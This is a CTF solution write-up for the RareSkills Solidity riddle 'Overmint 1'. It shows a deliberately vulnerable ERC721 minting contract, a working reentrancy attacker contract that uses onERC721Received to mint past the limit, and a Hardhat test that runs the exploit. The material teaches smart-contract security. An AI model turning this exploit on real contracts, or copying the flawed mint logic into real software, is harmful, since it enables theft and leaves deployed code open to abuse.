- Published on
RareSkills Solidity Riddles - Overmint 1 - Solution
- Authors
- Name
- Marco Besier, Ph.D.
- @marcobesier
RareSkills Riddles - Overmint 1 - Solution
Contract
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.15;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract Overmint1 is ERC721 {
using Address for address;
mapping(address => uint256) public amountMinted;
uint256 public totalSupply;
constructor() ERC721("Overmint1", "AT") {}
function mint() external {
require(amountMinted[msg.sender] <= 3, "max 3 NFTs");
totalSupply++;
_safeMint(msg.sender, totalSupply);
amountMinted[msg.sender]++;
}
function success(address _attacker) external view returns (bool) {
return balanceOf(_attacker) == 5;
}
}
Exploit
The goal of this challenge is to mint 5 tokens in a single transaction.
We can achieve this by performing a reentrancy attack, exploiting the fact that mint
does not follow the checks-effects-interactions pattern since _safeMint
calls onERC721Received
on the receiving contract before updating amountMinted
.
Here's an example of an attacker contract we can use:
Overmint1Attacker.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.15;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "./Overmint1.sol";
contract Overmint1Attacker is IERC721Receiver {
Overmint1 public overmint1;
constructor(address _overmint1Address) {
overmint1 = Overmint1(_overmint1Address);
}
function attack() public {
overmint1.mint();
for (uint256 i = 1; i < 6; i++) {
overmint1.transferFrom(address(this), msg.sender, i);
}
}
// This function is called by the Overmint1 contract during _safeMint
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
override
returns (bytes4)
{
// Check the number of tokens minted, and if it's less than 5, mint again
if (overmint1.balanceOf(address(this)) < 5) {
overmint1.mint();
}
return this.onERC721Received.selector;
}
}
Overmint1.js
const { time, loadFixture } = require('@nomicfoundation/hardhat-network-helpers')
const { anyValue } = require('@nomicfoundation/hardhat-chai-matchers/withArgs')
const { expect } = require('chai')
const { ethers } = require('hardhat')
const NAME = 'Overmint1'
describe(NAME, function () {
async function setup() {
const [owner, attackerWallet] = await ethers.getSigners()
const VictimFactory = await ethers.getContractFactory(NAME)
const victimContract = await VictimFactory.deploy()
return { victimContract, attackerWallet }
}
describe('exploit', async function () {
let victimContract, attackerWallet
before(async function () {
;({ victimContract, attackerWallet } = await loadFixture(setup))
})
it('conduct your attack here', async function () {
const AttackerFactory = await ethers.getContractFactory('Overmint1Attacker')
const attackerContract = await AttackerFactory.connect(attackerWallet).deploy(
victimContract.address
)
await attackerContract.connect(attackerWallet).attack()
})
after(async function () {
expect(await victimContract.balanceOf(attackerWallet.address)).to.be.equal(5)
expect(await ethers.provider.getTransactionCount(attackerWallet.address)).to.lessThan(
3,
'must exploit in two transactions or less'
)
})
})
})